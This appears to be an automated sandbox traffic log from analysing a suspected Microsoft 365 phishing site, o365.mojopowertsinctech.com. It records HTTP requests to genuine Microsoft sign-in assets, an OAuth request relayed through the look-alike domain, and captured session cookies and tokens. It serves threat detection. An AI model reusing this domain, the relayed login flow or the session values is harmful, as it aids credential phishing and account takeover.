Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/859ee6e41a670f91 HTTP/1.1Host: o365.mojopowertsinctech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AXMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd83j5fQMMihdvC7DvrWwIoxFJXIGa4oEHK8LTNShni_jNk9pIKWad0lM0oAl9nay0VVyKWnmLDdTL9JNvXx_IfY7idZeX1zoJQYaDPoxGvCdwgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8zVpp-eKD12_gHEdoyRFwUS95x1mAhgvLFnyf5LqkIsq7eIzkWCyUKGpAiW0qsu-lxPy_br03sqhHAYCxMwdjsau_9vEnKBnc0-gzFzaxM9OII0ONPhbe9kUrN9iTmgVC1RH5dMtunhzcb29ompUHn70qwY12SZ4zad2QuwI9Wh4gAA; esctx-OuDMRE5IfJk=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8b6n3A-rwLfY3fkujECCbSU4ED7nhJbQJTiUTcELQCjXQbpaOenvNdaR8sX69JjCe4aGz_y5GbgUYSc8FpTlIBxM_by-AqLwESFKXk88LKHBFqkN49E4Fgpng_5Ef20OE95c2T_tkzAieJZkV3WHIjSAA; fpc=AvPKuGNLYD9LgJAF1cIaerG8Ae7AAQAAADRvat0OAAAA; brcap=0; cf_clearance=_.19IPVg4nt4BsavICZS6KTOzVtldqaXWN_2sDG8mXs-1708685369-1.0-AfY4Ttwj9y1b0tjmOcLZFdhoAjisSSYv9oJnfDWhSTj96PVbx4QMN+9JveeaTHOBNru+aUDhvkCp7xvsi/Z0YaI=
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4152973e84228feee7fd.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_presetpasswordsplitter_6e10b52b3041ad1fb229.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_account_msa_3b879963b4f70829fd7a25cbc9519792.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_account_msa_3b879963b4f70829fd7a25cbc9519792.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&scope=openid+profile+https%3a%2f%2freact.mojopowertsinctech.com%2fv2%2fOfficeHome.All&redirect_uri=https%3a%2f%2freact.mojopowertsinctech.com%2flandingv2&response_type=code+id_token&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&x-client-SKU=ID_NET6_0&x-client-Ver=7.2.0.0&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&msproxy=1&issuer=mso&tenant=common&ui_locales=en-US&signup=1&lw=1&fl=easi2&epct=PAQABDgEAAADnfolhJpSnRYB1SVj-Hgd80w1kEV2yfp5yTl51I3iF3TZ8rpCwOgZ1lnF8q4G7ilhCQoP1LCvvDjOYr7gkKkuM7-GqKwtD-DLU3ziTNuKDBvBhkf5lNtDU51r8u1087AG3ShOPiScHcXZGRsjcnZgWaEkzg04aq2TTtQi6gXE2YvLU9b50YfhyYGF5MdbVLjtsuQHsKoCTyQj8dsiUlsG-q-71Os5kFsN_o4Y-UJTvhiAA&jshs=0 HTTP/1.1Host: ywnjb.mojopowertsinctech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; MUID=2CB8A7944ACF6378145EB3BA4B176235; cf_clearance=_.19IPVg4nt4BsavICZS6KTOzVtldqaXWN_2sDG8mXs-1708685369-1.0-AfY4Ttwj9y1b0tjmOcLZFdhoAjisSSYv9oJnfDWhSTj96PVbx4QMN+9JveeaTHOBNru+aUDhvkCp7xvsi/Z0YaI=; uaid=bb5a992d257f41739253c4d2edca1509; MSPRequ=id=N&lt=1708685369&co=2
Source: global traffic	HTTP traffic detected: GET /converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1 HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1 HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1 HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1 HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lightweightsignuppackage_COE03vXZErAq7-ed7h5ZAg2.js?v=1 HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/favicon.ico?v=2 HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oneds_MC5gQfpbTUjLu60sQCwU1w2.js?v=1 HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/favicon.ico?v=2 HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1Host: acctcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown

DNS traffic detected: queries for: clients2.google.com

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 23 Feb 2024 10:49:24 GMTTransfer-Encoding: chunkedConnection: closeCache-Control: privateNel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"Referrer-Policy: strict-origin-when-cross-originReport-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]}X-Ms-Ests-Server: 2.1.17396.8 - FRC ProdSlicesX-Ms-Request-Id: ea0fe451-f793-4315-af6c-46e19a191100CF-Cache-Status: BYPASSSet-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 859ee6e4b89dc42c-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_94.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_94.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_71.2.dr	String found in binary or memory: https://fpt.live.com/
Source: chromecache_94.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_87.2.dr, chromecache_81.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_87.2.dr, chromecache_81.2.dr	String found in binary or memory: https://o365.mojopowertsinctech.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
